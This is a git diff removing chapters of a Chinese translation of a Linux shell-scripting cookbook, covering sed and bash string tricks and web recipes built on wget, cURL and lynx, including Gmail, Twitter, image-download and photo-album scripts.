URI。 - -# 怎么做... - -我们可以使用`find`定位要修改文本的文件。我们可以用`sed`来做实际的替换。 - -要将所有`.cpp`文件中的`Copyright`文本替换为`Copyleft`单词,请使用以下命令: - -```sh - find . -name *.cpp -print0 | \ - xargs -I{} -0 sed -i 's/Copyright/Copyleft/g' {} - -``` - -# 它是如何工作的... - -我们在当前目录(`.`)上使用`find`来查找带有`.cpp`后缀的文件。find 命令使用- `print0`打印空的文件列表(当文件名中有空格时使用`-print0`)。我们将列表传送到`xargs`,T5 将文件名传送到`sed`,T6 进行修改。 - -# 还有更多... - -如果您还记得,`find`有一个`-exec`选项,可用于对符合搜索条件的每个文件运行命令。我们可以使用此选项来达到相同的效果,或者用新的文本替换文本: - -```sh - $ find . -name *.cpp -exec sed -i 's/Copyright/Copyleft/g' \{\} \; - -``` - -或者: - -```sh - $ find . -name *.cpp -exec sed -i 's/Copyright/Copyleft/g' \{\} \+ - -``` - -这些命令执行相同的功能,但是第一个表单将为每个文件调用`sed`一次,而第二个表单将组合多个文件名并将它们一起传递给`sed`。 - -# 文本切片和参数操作 - -这个食谱介绍了一些简单的文本替换技术和 Bash 中可用的参数扩展快捷键。一些简单的技术可以帮助避免编写多行代码。 - -# 怎么做... - -让我们进入任务。 - -替换变量中的一些文本: - -```sh - $ var="This is a line of text" - $ echo ${var/line/REPLACED} - This is a REPLACED of text" - -``` - -`line`字替换为`REPLACED`。 - -我们可以使用以下语法,通过指定开始位置和字符串长度来生成子字符串: - -```sh - ${variable_name:start_position:length} - -``` - -从第五个字符开始打印: - -```sh - $ string=abcdefghijklmnopqrstuvwxyz - $ echo ${string:4} - efghijklmnopqrstuvwxyz - -``` - -从第五个字符开始打印八个字符: - -```sh - $ echo ${string:4:8} - efghijkl - -``` - -字符串中的第一个字符位于位置`0`。我们可以从最后一个字母算起`-1`。当`-1`在括号内时,`(-1)`是最后一个字母的索引: - -```sh - echo ${string:(-1)} - z - $ echo ${string:(-2):2} - yz - -``` - -# 请参见 - -* 本章中的*使用 sed 执行文本替换*方法解释了其他字符操作技巧 \ No newline at end of file diff --git a/docs/linux-shell-script-cb/05.md b/docs/linux-shell-script-cb/05.md deleted file mode 100644 index 441a3601..00000000 --- a/docs/linux-shell-script-cb/05.md +++ /dev/null @@ -1,1336 +0,0 @@ -# 五、纠结网络?一点也不会! - -在本章中,我们将介绍以下食谱: - -* 从网页下载 -* 以纯文本形式下载网页 -* cURL 入门 -* 从命令行访问未读的 Gmail 电子邮件 -* 解析来自网站的数据 -* 图像爬虫和下载器 -* 网络相册生成器 -* Twitter 命令行客户端 -* 通过网络服务器访问单词定义 -* 在网站中查找断开的链接 -* 跟踪网站的更改 -* 发布到网页并阅读回复 -* 从互联网下载视频 -* 与 OTS 一起总结文本 -* 从命令行翻译文本 - -# 介绍 - -网络已经成为技术的表面和数据处理的中心接入点。Shell 脚本不能做像 PHP 这样的语言在 Web 上能做的所有事情,但是有很多任务是 shell 脚本非常适合的。我们将探索下载和解析网站数据、将数据发送到表单以及自动化网站使用任务和类似活动的方法。我们可以通过浏览器用几行脚本自动执行许多交互活动。HTTP 协议和命令行实用程序提供的功能使我们能够编写脚本来解决许多 web 自动化需求。 - -# 从网页下载 - -下载文件或网页很简单。一些命令行下载实用程序可用于执行此任务。 - -# 准备好 - -`wget`是一个灵活的文件下载命令行实用程序,可以配置很多选项。 - -# 怎么做... - -使用`wget`可以下载网页或远程文件: - -```sh -$ wget URL - -``` - -例如: - -```sh -$ wget knopper.net ---2016-11-02 21:41:23-- http://knopper.net/ -Resolving knopper.net... 85.214.68.145 -Connecting to knopper.net|85.214.68.145|:80... -connected. -HTTP request sent, awaiting response... 200 OK -Length: 6899 (6.7K) [text/html] -Saving to: "index.html.1" - -100% [=============================]45.5K=0.1s - -2016-11-02 21:41:23 (45.5 KB/s) - "index.html.1" saved -[6899/6899] - -``` - -也可以指定多个下载网址: - -```sh -$ wget URL1 URL2 URL3 .. - -``` - -# 它是如何工作的... - -默认情况下,下载的文件与网址同名,下载信息和进度写入`stdout`。 - -`-O`选项指定输出文件名。如果同名文件已经存在,它将被下载的文件替换: - -```sh -$ wget http://www.knopper.net -O knopper.html. - -``` - -`-o`选项指定了一个`logfile`,而不是将日志打印到`stdout`: - -```sh -$ wget ftp://ftp.example.com/somefile.img -O dloaded_file.img -o log - -``` - -使用前面的命令不会在屏幕上打印任何内容。日志或进度将被写入日志,输出文件为`dloaded_file.img`。 - -由于互联网连接不稳定,下载可能会中断。`-t`选项指定在放弃之前实用程序将重试多少次: - -```sh -$ wget -t 5 URL - -``` - -Use a value of `0` to force `wget` to keep trying infinitely: - -```sh -$ wget -t 0 URL - -``` - -# 还有更多... - -`wget`实用程序有微调行为和解决问题的选项。 - -# 限制下载速度 - -当许多应用共享有限的带宽时,一个大文件可能会吞噬所有带宽,并使其他进程(可能是交互式用户)挨饿。`wget`选项`-limit-rate`将指定下载作业的最大带宽,允许所有应用公平访问互联网: - -```sh -$ wget --limit-rate 20k http://example.com/file.iso - -``` - -在该命令中,`k`(千字节)指定速度限制。也可以使用`m`进行兆字节。 - -`-quota`(或`-Q`)选项指定下载的最大大小。`wget`超过配额将停止。这在将多个文件下载到空间有限的系统时非常有用: - -```sh -$ wget -Q 100m http://example.com/file1 http://example.com/file2 - -``` - -# 继续下载并继续 - -如果`wget`在下载完成前被中断,可以使用`-c`选项从中断处恢复: - -```sh -$ wget -c URL - -``` - -# 复制完整的网站(镜像) - -`wget`可以递归收集 URL 链接,像爬虫一样下载,就可以下载一个完整的网站。要下载页面,请使用`--mirror`选项: - -```sh -$ wget --mirror --convert-links exampledomain.com - -``` - -或者,使用以下命令: - -```sh -$ wget -r -N -l -k DEPTH URL - -``` - -`-l`选项将网页的深度指定为级别。这意味着它将只遍历该数量的级别。它与`-r`(递归)一起使用。`-N`参数用于启用文件的时间戳。`URL`是需要启动下载的网站的基本网址。`-k`或`--convert-links`选项指示`wget`将其他页面的链接转换为本地副本。 - -Exercise discretion when mirroring other websites. Unless you have permission, only perform this for your personal use and don't do it too frequently. - -# 使用 HTTP 或 FTP 身份验证访问页面 - -`--user`和`--password`参数为需要认证的网站提供用户名和密码。 - -```sh -$ wget --user username --password pass URL - -``` - -也可以在不内嵌指定密码的情况下要求输入密码。为此,请使用`--ask-password`代替`--password`参数。 - -# 以纯文本形式下载网页 - -网页只是带有 HTML 标签、JavaScript 和 CSS 的文本。HTML 标签定义了网页的内容,我们可以对其进行解析以获得特定的内容。Bash 脚本可以解析网页。可以在网络浏览器中查看 HTML 文件,以查看其格式是否正确,或者使用上一章中描述的工具进行处理。 - -解析文本文档比解析 HTML 数据更简单,因为我们不需要剥离 HTML 标签。 **Lynx** 是一款命令行网页浏览器,可以以纯文本方式下载网页。 - -# 准备好 - -Lynx 并未在所有发行版中安装,但可以通过软件包管理器获得。 - -```sh -# yum install lynx - -``` - -或者,您可以执行以下命令: - -```sh - apt-get install lynx - -``` - -# 怎么做... - -`-dump`选项以纯 ASCII 形式下载网页。下一个方法显示了如何将页面的 ASCII 版本发送到文件: - -```sh -$ lynx URL -dump > webpage_as_text.txt - -``` - -该命令将在标题`References`下单独列出所有超链接(`
`),作为文本输出的页脚。这让我们可以用正则表达式分别解析链接。 - -考虑这个例子: - -```sh -$lynx -dump http://google.com > plain_text_page.txt - -``` - -您可以使用`cat`命令查看`text`的纯文本版本: - -```sh - $ cat plain_text_page.txt - Search [1]Images [2]Maps [3]Play [4]YouTube [5]News [6]Gmail - [7]Drive - [8]More » - [9]Web History | [10]Settings | [11]Sign in - - [12]St. Patrick's Day 2017 - - _______________________________________________________ - Google Search I'm Feeling Lucky [13]Advanced search - [14]Language tools - - [15]Advertising Programs [16]Business Solutions [17]+Google - [18]About Google - - © 2017 - [19]Privacy - [20]Terms - -References -... - -``` - -# cURL 入门 - -**cURL** 使用 HTTP、HTTPS 或 FTP 协议将数据传输到服务器或从服务器传输数据。它支持`POST`、cookies、身份验证、从指定偏移量下载部分文件、引用者、用户代理字符串、额外的头、限制速度、最大文件大小、进度条等等。cURL 对于维护网站、检索数据和检查服务器配置非常有用。 - -# 准备好了 - -与`wget`不同,cURL 并不包含在所有的 Linux 发行版中;您可能需要使用软件包管理器来安装它。 - -默认情况下,cURL 将下载的文件转储到`stdout`,将进度信息转储到`stderr`。要禁用显示进度信息,请使用`--silent`选项。 - -# 怎么做... - -`curl`命令执行很多功能,包括下载、发送不同的 HTTP 请求、指定 HTTP 头。 - -* 要将下载的文件转储到`stdout`,请使用以下命令: - -```sh - $ curl URL - -``` - -* `-O`选项指定将下载的数据发送到一个文件中,该文件的文件名由网址解析而来。请注意,网址必须是一个完整的网页网址,而不仅仅是一个网站名称。 - -```sh - $ curl www.knopper.net/index.htm --silent -O - -``` - -* `-o`选项指定输出文件名。使用此选项,您可以仅指定网站名称来检索主页。 - -```sh - $curl www.knopper.net -o knoppix_index.html - % Total % Received % Xferd Avg Speed Time Time Time - Current - Dload Upload Total Spent Left Speed - 100 6889 100 6889 0 0 10902 0 --:-- --:-- --:-- 26033 - -``` - -* `-silent`选项阻止`curl`命令显示进度信息: - -```sh - $ curl URL --silent - -``` - -* 下载时`-progress`选项显示进度条: - -```sh - $ curl http://knopper.net -o index.html --progress - ################################## 100.0% - -``` - -# 它是如何工作的... - -cURL 将网页或远程文件下载到您的本地系统。您可以使用`-O`和`-o`选项控制目标文件名,使用`-silent`和`-progress`选项控制详细程度。 - -# 还有更多... - -在前面几节中,您学习了如何下载文件。cURL 支持更多选项来微调其行为。 - -# 继续和恢复下载 - -cURL 可以从给定的偏移量恢复下载。如果您有每日数据限制和要下载的大文件,这很有用。 - -```sh -$ curl URL/file -C offset - -``` - -offset 是以字节为单位的整数值。 - -如果我们想继续下载文件,cURL 不要求我们知道确切的字节偏移量。如果您希望 cURL 找出正确的恢复点,请使用`-C -`选项,如下所示: - -```sh -$ curl -C - URL - -``` - -cURL 会自动找出在哪里重新开始下载指定的文件。 - -# 用 cURL 设置引用字符串 - -The **Referer** field in the HTTP header identifies the page that led to the current web page. When a user clicks on a link on web page A to go to web page B, the referer header string for page B will contain the URL of page A. - -一些动态页面在返回 HTML 数据之前会检查引用字符串。例如,当用户从谷歌导航到网站时,网页可能会显示谷歌徽标,而当用户键入网址时,网页可能会显示不同的页面。 - -如果推荐人是 www.google.com,网络开发者可以写一个条件返回谷歌页面,如果不是,返回一个不同的页面。 - -您可以使用`--referer`和`curl`命令来指定引用字符串,如下所示: - -```sh -$ curl --referer Referer_URL target_URL - -``` - -考虑这个例子: - -```sh -$ curl --referer http://google.com http://knopper.org - -``` - -# 带 cURL 的饼干 - -`curl`可以指定和存储 HTTP 操作时遇到的 cookies。 - -`-cookie` `COOKIE_IDENTIFER`选项指定提供哪些 cookies。饼干被定义为`name=value`。多个 cookies 应该用分号(`;`)分隔: - -```sh -$ curl http://example.com --cookie "user=username;pass=hack" - -``` - -`-cookie-jar`选项指定存储 cookies 的文件: - -```sh -$ curl URL --cookie-jar cookie_file - -``` - -# 使用 cURL 设置用户代理字符串 - -如果没有指定用户代理,某些检查用户代理的网页将无法工作。比如一些老网站需要**互联网浏览器** ( **IE** )。如果使用不同的浏览器,它们会显示一条消息,说明必须使用 IE 查看该网站。这是因为网站会检查用户代理。可以用`curl`设置用户代理。 - -`--user-agent`或`-A`选项设置用户代理: - -```sh -$ curl URL --user-agent "Mozilla/5.0" - -``` - -附加的头可以用 cURL 传递。使用`-H "Header"`传递附加标题: - -```sh -$ curl -H "Host: www.knopper.net" -H "Accept-language: en" URL - -``` - -There are many different user agent strings across multiple browsers and crawlers on the Web. You can find a list of some of them at [http://www.useragentstring.com/pages/useragentstring.php](http://www.useragentstring.com/pages/useragentstring.php). - -# 在 cURL 上指定带宽限制 - -当多个用户共享带宽时,我们可以通过`--limit-rate`选项限制下载速率: - -```sh -$ curl URL --limit-rate 20k - -``` - -速率可以用`k`(千字节)或`m`(兆字节)指定。 - -# 指定最大下载大小 - -`--max-filesize`选项指定最大文件大小: - -```sh -$ curl URL --max-filesize bytes - -``` - -The `curl` command will return a non-zero exit code if the file size exceeds the limit or a zero if the download succeeds. - -# 使用 cURL 进行身份验证 - -`curl`命令的`-u`选项执行 HTTP 或 FTP 身份验证。 - -可以使用`-u username:password`指定用户名和密码: - -```sh -$ curl -u user:pass http://test_auth.com - -``` - -如果您希望系统提示您输入密码,请仅提供用户名: - -```sh -$ curl -u user http://test_auth.com - -``` - -# 打印不含数据的响应标题 - -检查标题对于许多检查和统计来说已经足够了。例如,我们不需要下载整个页面来确认它是可到达的。仅仅阅读 HTTP 响应就足够了。 - -检查 HTTP 头的另一个用例是在下载前检查`Content-Length`字段以确定文件大小,或者检查`Last-Modified`字段以查看文件是否比当前副本新。 - -`-I`或`-head`选项只输出 HTTP 头,不下载远程文件: - -```sh -$ curl -I http://knopper.net -HTTP/1.1 200 OK -Date: Tue, 08 Nov 2016 17:15:21 GMT -Server: Apache -Last-Modified: Wed, 26 Oct 2016 23:29:56 GMT -ETag: "1d3c8-1af3-b10500" -Accept-Ranges: bytes -Content-Length: 6899 -Content-Type: text/html; charset=ISO-8859-1 - -``` - -# 请参见 - -* 将*发布到网页并阅读本章中的响应*食谱 - -# 从命令行访问未读的 Gmail 电子邮件 - -Gmail 是谷歌广泛使用的免费电子邮件服务:[http://mail.google.com/](http://mail.google.com/)。它允许您通过浏览器或经过验证的 RSS 源阅读邮件。我们可以解析 RSS 提要来报告发送者的姓名和主题。这是一种无需打开网络浏览器即可扫描未读电子邮件的快速方法。 - -# 怎么做... - -让我们通过一个 shell 脚本来解析 Gmail 的 RSS 提要,以显示未读邮件: - -```sh -#!/bin/bash -#Desc: Fetch gmail tool - -username='PUT_USERNAME_HERE' -password='PUT_PASSWORD_HERE' - -SHOW_COUNT=5 # No of recent unread mails to be shown - -echo -curl -u $username:$password --silent \ - "https://mail.google.com/mail/feed/atom" | \ - tr -d '\n' | sed 's::\n:g' |\ - sed -n 's/.*\(.*\)<\/title.*<author><name>\([^<]*\)<\/name><email> - \([^<]*\).*/From: \2 [\3] \nSubject: \1\n/p' | \ -head -n $(( $SHOW_COUNT * 3 )) - -``` - -输出如下所示: - -```sh -$ ./fetch_gmail.sh -From: SLYNUX [ slynux@slynux.com ] -Subject: Book release - 2 - -From: SLYNUX [ slynux@slynux.com ] -Subject: Book release - 1 -. -... 5 entries - -``` - -If you use a Gmail account with two-factor authentication, you will have to generate a new key for this script and use it. Your regular password won't work. - -# 它是如何工作的... - -该脚本使用 cURL 下载 RSS 提要。您可以通过登录您的 Gmail 帐户并查看[https://mail.google.com/mail/feed/atom](https://mail.google.com/mail/feed/atom)来查看传入数据的格式。 - -cURL 使用`-u user:pass`参数提供的用户认证读取 RSS 提要。当你使用`-u user`而没有密码 cURL 时,它会交互询问密码。 - -* `tr -d '\n'`:这将删除换行符 -* `sed 's:</entry>:\n:g'`:这将每个`</entry>`元素替换为一个换行符,因此每个电子邮件条目都由一个新行分隔,因此邮件可以被逐个解析。 - -需要作为单个表达式执行的下一个脚本块使用`sed`提取相关字段: - -```sh - sed 's/.*<title>\(.*\)<\/title.*<author><name>\([^<]*\)<\/name><email> - \([^<]*\).*/Author: \2 [\3] \nSubject: \1\n/' - -``` - -该脚本将标题与`<title>\(.*\)<\/title`正则表达式匹配,将发件人姓名与`<author><name>\([^<]*\)<\/name>`正则表达式匹配,并使用`<email>\([^<]*\)`发送电子邮件。Sed 使用反向引用将电子邮件的作者、标题和主题显示为易于阅读的格式: - -```sh -Author: \2 [\3] \nSubject: \1\n - -``` - -`\1`对应第一个子串匹配(标题)`\2`为第二个子串匹配(名称),以此类推。 - -`SHOW_COUNT=5`变量用于取终端上待打印的未读邮件条目数。 - -`head`用于仅显示第一行开始的`SHOW_COUNT*3`行。`SHOW_COUNT`乘以 3,以显示三行输出。 - -# 请参见 - -* 本章中的*cURL*食谱入门解释了`curl`命令 -* 使用 sed 执行文本替换的*在[第 4 章](04.html)、*文本和驾驶中*解释了`sed`命令* - -# 解析来自网站的数据 - -`lynx`、`sed`和`awk`命令可用于从网站中挖掘数据。你可能会在*中看到一个女演员排名列表,在[第 4 章](04.html)、*发短信和开车*的 grep* 食谱文件中搜索和挖掘文本;它是通过解析[http://www.johntorres.net/BoxOfficefemaleList.html](http://www.johntorres.net/BoxOfficefemaleList.html)网页生成的。 - -# 怎么做... - -让我们从网站上浏览用于解析女演员详细信息的命令: - -```sh -$ lynx -dump -nolist \ - http://www.johntorres.net/BoxOfficefemaleList.html - grep -o "Rank-.*" | \ - sed -e 's/ *Rank-\([0-9]*\) *\(.*\)/\1\t\2/' | \ - sort -nk 1 > actresslist.txt - -``` - -输出如下: - -```sh -# Only 3 entries shown. All others omitted due to space limits -1 Keira Knightley -2 Natalie Portman -3 Monica Bellucci - -``` - -# 它是如何工作的... - -Lynx 是一个命令行 web 浏览器;它可以像我们在网络浏览器中看到的那样转储网站的文本版本,而不是像`wget`或 cURL 那样返回原始 HTML。这省去了移除 HTML 标签的步骤。`-nolist`选项显示没有编号的链接。解析和格式化包含等级的行是通过`sed`完成的: - -```sh -sed -e 's/ *Rank-\([0-9]*\) *\(.*\)/\1\t\2/' - -``` - -然后根据等级对这些行进行排序。 - -# 请参见 - -* 使用 sed 执行文本替换的*[第 4 章](04.html)、*短信和驾驶*中的*食谱解释了`sed`命令 -* 本章中的*以纯文本方式下载网页*食谱解释了`lynx`命令 - -# 图像爬虫和下载器 - -**图片爬虫**下载网页中出现的所有图片。我们可以使用脚本来识别图像并自动下载它们,而不是手动浏览 HTML 页面来挑选图像。 - -# 怎么做... - -这个 Bash 脚本将识别并从网页下载图像: - -```sh -#!/bin/bash -#Desc: Images downloader -#Filename: img_downloader.sh - -if [ $# -ne 3 ]; -then - echo "Usage: $0 URL -d DIRECTORY" - exit -1 -fi -while [ $# -gt 0 ] -do - case $1 in - -d) shift; directory=$1; shift ;; - *) url=$1; shift;; - esac -done - -mkdir -p $directory; -baseurl=$(echo $url | egrep -o "https?://[a-z.\-]+") - -echo Downloading $url -curl -s $url | egrep -o "<img[^>]*src=[^>]*>" | \ - sed 's/<img[^>]*src=\"\([^"]*\).*/\1/g' | \ - sed "s,^/,$baseurl/," > /tmp/$$.list - -cd $directory; - -while read filename; -do - echo Downloading $filename - curl -s -O "$filename" --silent -done < /tmp/$$.list - -``` - -示例用法如下: - -```sh -$ url=https://commons.wikimedia.org/wiki/Main_Page -$ ./img_downloader.sh $url -d images - -``` - -# 它是如何工作的... - -图像下载器脚本读取一个 HTML 页面,剥离除`<img>`以外的所有标签,从`<img>`标签中解析`src="URL"`,并将它们下载到指定的目录。该脚本接受网页网址和目标目录作为命令行参数。 - -`[ $# -ne 3 ]`语句检查脚本的参数总数是否为三,否则退出并返回一个用法示例。否则,此代码将解析 URL 和目标目录: - -```sh -while [ -n "$1" ] -do - case $1 in - -d) shift; directory=$1; shift ;; - *) url=${url:-$1}; shift;; -esac -done - -``` - -`while`循环运行,直到处理完所有参数。`shift`命令将参数向左移动,以便`$1`取下一个参数的值;也就是`$2`等等。因此,我们可以通过`$1`本身来评价所有的论点。 - -`case`语句检查第一个参数(`$1`)。如果匹配`-d`,下一个参数必须是一个目录名,所以参数被移动,目录名被保存。如果参数是任何其他字符串,它就是一个网址。 - -以这种方式解析参数的优势在于,我们可以将-d 参数放在命令行的任何地方: - -```sh -$ ./img_downloader.sh -d DIR URL - -``` - -或者: - -```sh -$ ./img_downloader.sh URL -d DIR - -``` - -`egrep -o "<img src=[^>]*>"`将只打印匹配的字符串,即包含其属性的`<img>`标签。`[^>]*`短语匹配除结尾`>`即`<img src="image.jpg">`以外的所有字符。 - -`sed's/<img src=\"\([^"]*\).*/\1/g'`从`src="url"`弦中提取`url`。 - -有两种类型的图像源路径:相对和绝对。**绝对路径**包含以`http://`或`https://`开头的完整网址。相对网址从`/`或`image_name`本身开始。一个绝对网址的例子是`http://example.com/image.jpg`。相对网址的一个例子是`/image.jpg`。 - -对于相对网址,开始的`/`应替换为基础网址,将其转换为`http://example.com/image.jpg`。该脚本通过以下命令从初始网址中提取`baseurl`来初始化它: - -```sh -baseurl=$(echo $url | egrep -o "https?://[a-z.\-]+") - -``` - -先前描述的`sed`命令的输出通过管道传输到另一个 sed 命令中,用`baseurl`替换前导的`/`,结果保存在一个以脚本的 PID 命名的文件中:(`/tmp/$$.list`)。 - -```sh -sed "s,^/,$baseurl/," > /tmp/$$.list - -``` - -最后的`while`循环遍历列表的每一行,并使用 curl 下载图像。`--silent`参数与`curl`一起使用,以避免在屏幕上打印额外的进度信息。 - -# 请参见 - -* 本章中的*cURL*食谱入门解释了`curl`命令 -* 使用 sed 执行文本替换的*[第 4 章](04.html)、*短信和驾驶*中的*食谱解释了`sed`命令 -* [第 4 章](04.html)、*发短信和开车*中的*使用 grep* 配方搜索和挖掘文件中的文本,解释了`grep`命令 - -# 网络相册生成器 - -网络开发人员经常创建全尺寸和缩略图的相册。单击缩略图时,会显示图片的大版本。这需要调整大小和放置许多图像。这些动作可以通过一个简单的 Bash 脚本自动完成。脚本创建缩略图,将它们放在精确的目录中,并自动生成`<img>`标签的代码片段。 - -# 准备好 - -该脚本使用`for`循环来迭代当前目录中的每个图像。使用了常用的 Bash 工具,如`cat`和`convert`(来自 Image Magick 包)。这些将生成一个 HTML 相册,使用所有的图像,在`index.html`。 - -# 怎么做... - -这个 Bash 脚本将生成一个 HTML 相册页面: - -```sh -#!/bin/bash -#Filename: generate_album.sh -#Description: Create a photo album using images in current directory - -echo "Creating album.." -mkdir -p thumbs -cat <<EOF1 > index.html -<html> -<head> -<style> - -body -{ - width:470px; - margin:auto; - border: 1px dashed grey; - padding:10px; -} - -img -{ - margin:5px; - border: 1px solid black; - -} -</style> -</head> -<body> -<center><h1> #Album title </h1></center> -<p> -EOF1 - -for img in *.jpg; -do - convert "$img" -resize "100x" "thumbs/$img" - echo "<a href=\"$img\" >" >>index.html - echo "<img src=\"thumbs/$img\" title=\"$img\" /></a>" >> index.html -done - -cat <<EOF2 >> index.html - -</p> -</body> -</html> -EOF2 - -echo Album generated to index.html - -``` - -按如下方式运行脚本: - -```sh -$ ./generate_album.sh -Creating album.. -Album generated to index.html - -``` - -# 它是如何工作的... - -脚本的初始部分用于编写 HTML 页面的标题部分。 - -以下脚本将直到`EOF1`的所有内容重定向到`index.html`: - -```sh -cat <<EOF1 > index.html -contents... -EOF1 - -``` - -标题包括 HTML 和 CSS 样式。 - -`for img in *.jpg *.JPG;`迭代文件名并计算循环体。 - -`convert "$img" -resize "100x" "thumbs/$img"`创建 100 像素宽的缩略图。 - -以下语句生成所需的`<img>`标记并将其附加到`index.html`中: - -```sh -echo "<a href=\"$img\" >" -echo "<img src=\"thumbs/$img\" title=\"$img\" /></a>" >> index.html - -``` - -最后,如脚本的第一部分一样,页脚 HTML 标记被附加了`cat`。 - -# 请参见 - -* 本章中的*网络相册生成器*配方解释了`EOF`和`stdin`重定向 - -# Twitter 命令行客户端 - -**Twitter** 是最热门的微博平台,也是现在网络社交媒体的最新流行语。我们可以使用 Twitter API 从命令行读取我们时间轴上的推文! - -让我们看看怎么做。 - -# 准备好了 - -最近,推特停止允许人们使用普通的 HTTP 身份验证登录,所以我们必须使用 OAuth 来验证自己。关于 OAuth 的完整解释不在本书的讨论范围之内,因此我们将使用一个库,它使得从 Bash 脚本中使用 OAuth 变得很容易。请执行以下步骤: - -1. 从[https://github.com/livibetter/bash-oauth/archive/master.zip](https://github.com/livibetter/bash-oauth/archive/master.zip)下载`bash-oauth`库,解压到任意目录。 -2. 转到该目录,然后在子目录`bash-oauth-master`中,以 root 用户身份运行`make install-all`。 -3. 去[https://apps.twitter.com/](https://apps.twitter.com/)注册一个新的应用。这将使使用 OAuth 成为可能。 -4. 注册新应用后,转到应用的设置,并将访问类型更改为读写。 -5. 现在,转到应用的详细信息部分,注意两件事,消费者密钥和消费者秘密,这样您就可以在我们将要编写的脚本中替换它们。 - -太好了,现在让我们编写使用这个的脚本。 - -# 怎么做... - -这个 Bash 脚本使用 OAuth 库来读取推文或发送您自己的更新: - -```sh -#!/bin/bash -#Filename: twitter.sh -#Description: Basic twitter client - -oauth_consumer_key=YOUR_CONSUMER_KEY -oauth_consumer_scret=YOUR_CONSUMER_SECRET - -config_file=~/.$oauth_consumer_key-$oauth_consumer_secret-rc - -if [[ "$1" != "read" ]] && [[ "$1" != "tweet" ]]; -then - echo -e "Usage: $0 tweet status_message\n OR\n $0 read\n" - exit -1; -fi - -#source /usr/local/bin/TwitterOAuth.sh -source bash-oauth-master/TwitterOAuth.sh -TO_init - -if [ ! -e $config_file ]; then - TO_access_token_helper - if (( $? == 0 )); then - echo oauth_token=${TO_ret[0]} > $config_file - echo oauth_token_secret=${TO_ret[1]} >> $config_file - fi -fi - -source $config_file - -if [[ "$1" = "read" ]]; -then -TO_statuses_home_timeline '' 'YOUR_TWEET_NAME' '10' - echo $TO_ret | sed 's/,"/\n/g' | sed 's/":/~/' | \ - awk -F~ '{} \ - {if ($1 == "text") \ - {txt=$2;} \ - else if ($1 == "screen_name") \ - printf("From: %s\n Tweet: %s\n\n", $2, txt);} \ - {}' | tr '"' ' ' - -elif [[ "$1" = "tweet" ]]; -then - shift - TO_statuses_update '' "$@" - echo 'Tweeted :)' -fi - -``` - -按如下方式运行脚本: - -```sh -$./twitter.sh read -Please go to the following link to get the PIN: -https://api.twitter.com/oauth/authorize? -oauth_token=LONG_TOKEN_STRING -PIN: PIN_FROM_WEBSITE -Now you can create, edit and present Slides offline. -- by A Googler -$./twitter.sh tweet "I am reading Packt Shell Scripting Cookbook" -Tweeted :) -$./twitter.sh read | head -2 -From: Clif Flynt -Tweet: I am reading Packt Shell Scripting Cookbook - -``` - -# 它是如何工作的... - -首先,我们使用 source 命令来包含`TwitterOAuth.sh`库,这样我们就可以使用它的函数来访问 Twitter。`TO_init`功能初始化库。 - -每个应用都需要在第一次使用时获得一个 OAuth 令牌和令牌秘密。如果这些不存在,我们使用`TO_access_token_helper`库函数来获取它们。一旦我们有了令牌,我们就将它们保存到一个`config`文件中,这样我们就可以在下一次运行脚本时简单地获取它。 - -`TO_statuses_home_timeline`库函数从推特上获取推文。该数据以 JSON 格式作为单个长字符串返回,如下所示: - -```sh -[{"created_at":"Thu Nov 10 14:45:20 +0000 -"016","id":7...9,"id_str":"7...9","text":"Dining... - -``` - -每条推文都以`"created_at"`标签开头,包括一个`text`和一个`screen_name`标签。该脚本将提取文本和屏幕名称数据,并只显示这些字段。 - -脚本将长字符串分配给`TO_ret`变量。 - -JSON 格式使用带引号的字符串作为键,并且可以给值加引号,也可以不加引号。键/值对用逗号分隔,键和值用冒号(`:`)分隔。 - -第一个`sed`用换行符替换每个`"`字符集,使每个键/值成为单独的一行。这些行通过管道连接到另一个`sed`命令,用波浪号(~)替换每个出现的`":`,这样就创建了一行: - -```sh -screen_name~"Clif_Flynt" - -``` - -最后的`awk`脚本读每一行。`-F~`选项将行分割成波浪号处的字段,因此`$1`是关键,`$2`是值。`if`命令检查`text`或`screen_name`。文本首先在推文中,但如果我们先报告发件人,会更容易阅读;所以脚本保存一个`text`返回,直到看到一个`screen_name`,然后打印`$2`的当前值和文本的保存值。 - -`TO_statuses_update`库函数生成推文。空的第一个参数将我们的消息定义为默认格式,消息是第二个参数的一部分。 - -# 请参见 - -* 使用 sed 执行文本替换的*[第 4 章](04.html)、*短信和驾驶*中的*食谱解释了`sed`命令 -* [第 4 章](04.html)、*发短信和开车*中的*使用 grep* 配方搜索和挖掘文件中的文本,解释了`grep`命令 - -# 通过网络服务器访问单词定义 - -网络上的一些词典提供了一个通过脚本与网站交互的应用编程接口。这个食谱演示了如何使用一个受欢迎的。 - -# 准备好 - -我们将使用`curl`、`sed`和`grep`来定义效用。有很多字典网站可以免费注册和使用它们的 API 供个人使用。在这个例子中,我们使用的是韦氏词典的字典 API。请执行以下步骤: - -1. 去[http://www.dictionaryapi.com/register/index.htm](http://www.dictionaryapi.com/register/index.htm),给自己注册一个账号。选择大学词典和学习词典: -2. 使用新创建的帐户登录,并转到我的密钥以访问密钥。记下学习词典的钥匙。 - -# 怎么做... - -该脚本将显示单词定义: - -```sh -#!/bin/bash -#Filename: define.sh -#Desc: A script to fetch definitions from dictionaryapi.com - -key=YOUR_API_KEY_HERE - -if [ $# -ne 2 ]; -then - echo -e "Usage: $0 WORD NUMBER" - exit -1; -fi - -curl --silent \ -http://www.dictionaryapi.com/api/v1/references/learners/xml/$1?key=$key | \ - grep -o \<dt\>.*\</dt\> | \ - sed 's$</*[a-z]*>$$g' | \ - head -n $2 | nl - -``` - -像这样运行脚本: - -```sh - $ ./define.sh usb 1 - 1 :a system for connecting a computer to another device (such as - a printer, keyboard, or mouse) by using a special kind of cord a - USB cable/port USB is an abbreviation of "Universal Serial Bus."How - it works... - -``` - -# 它是如何工作的... - -我们使用`curl`通过指定我们的 API `Key ($apikey)`和我们想要定义的单词(`$1`)从字典 API 网页中获取数据。结果包含`<dt>`标签中的定义,用`grep`选择。`sed`命令删除标签。脚本从定义中选择所需的行数,并使用`nl`为每行添加行号。 - -# 请参见 - -* 第 4 章中的*使用 sed 执行文本替换*配方解释了`sed`命令 -* [第 4 章](04.html)、*发短信和开车*中的*使用 grep* 配方搜索和挖掘文件中的文本,解释了`grep`命令 - -# 在网站中查找断开的链接 - -网站必须测试断开的链接。对于大型网站,手动这样做是不可行的。幸运的是,这是一个容易自动化的任务。我们可以通过 HTTP 操作工具找到断开的链接。 - -# 准备好 - -我们可以使用`lynx`和`curl`来识别链接并找到断开的链接。Lynx 有`-traversal`选项,可以递归访问网站上的页面,并建立所有超链接的列表。cURL 用于验证每个链接。 - -# 怎么做... - 